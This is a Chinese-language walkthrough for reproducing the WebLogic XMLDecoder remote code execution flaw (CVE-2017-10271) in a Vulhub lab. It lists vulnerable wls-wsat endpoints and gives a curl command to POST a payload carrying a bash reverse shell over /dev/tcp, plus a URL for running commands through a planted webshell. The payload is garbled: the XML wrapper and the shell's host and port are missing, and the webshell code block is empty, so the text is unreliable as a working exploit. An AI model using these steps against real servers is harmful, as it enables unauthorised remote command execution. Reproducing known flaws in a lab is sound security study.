# Weblogic XMLDecoder 远程代码执行漏洞 CVE-2017-10271
## 漏洞描述
Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。
## 漏洞影响
```
Weblogic 10.3.6.0.0
Weblogic 12.1.3.0.0
Weblogic 12.2.1.0.0
Weblogic 12.2.1.2.0
```
## 环境搭建
Vulhub 搭建 weblogic 10.3.6.0 环境:
```
git clone https://github.com/vulhub/vulhub.git
cd vulhub/weblogic/CVE-2017-10271
docker-compose up -d
```
启动完成后访问`http://your-vps-ip:7001/console`可以看到管理界面。

## 漏洞复现
访问 `http://your-ip:7001/wls-wsat/CoordinatorPortType`,若存在,则可能存在漏洞。其他可利用 URL:
```plain
/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11
```

将以下 xml 数据保存为 poc.xml:
```
/bin/bash
-c
bash -i >& /dev/tcp// 0>&1
```
使用 curl 以 post 方法上传 poc.xml,反弹shell:
```shell
curl -v -X POST -H "Content-Type: text/xml" --data @poc.xml "http://your-ip:7001/wls-wsat/CoordinatorPortType"
```


也可以写入 webshell:
```
```
访问 webshell:
```
http://your-ip:7001/bea_wls_internal/test.jsp?pwd=023&i=whoami
```
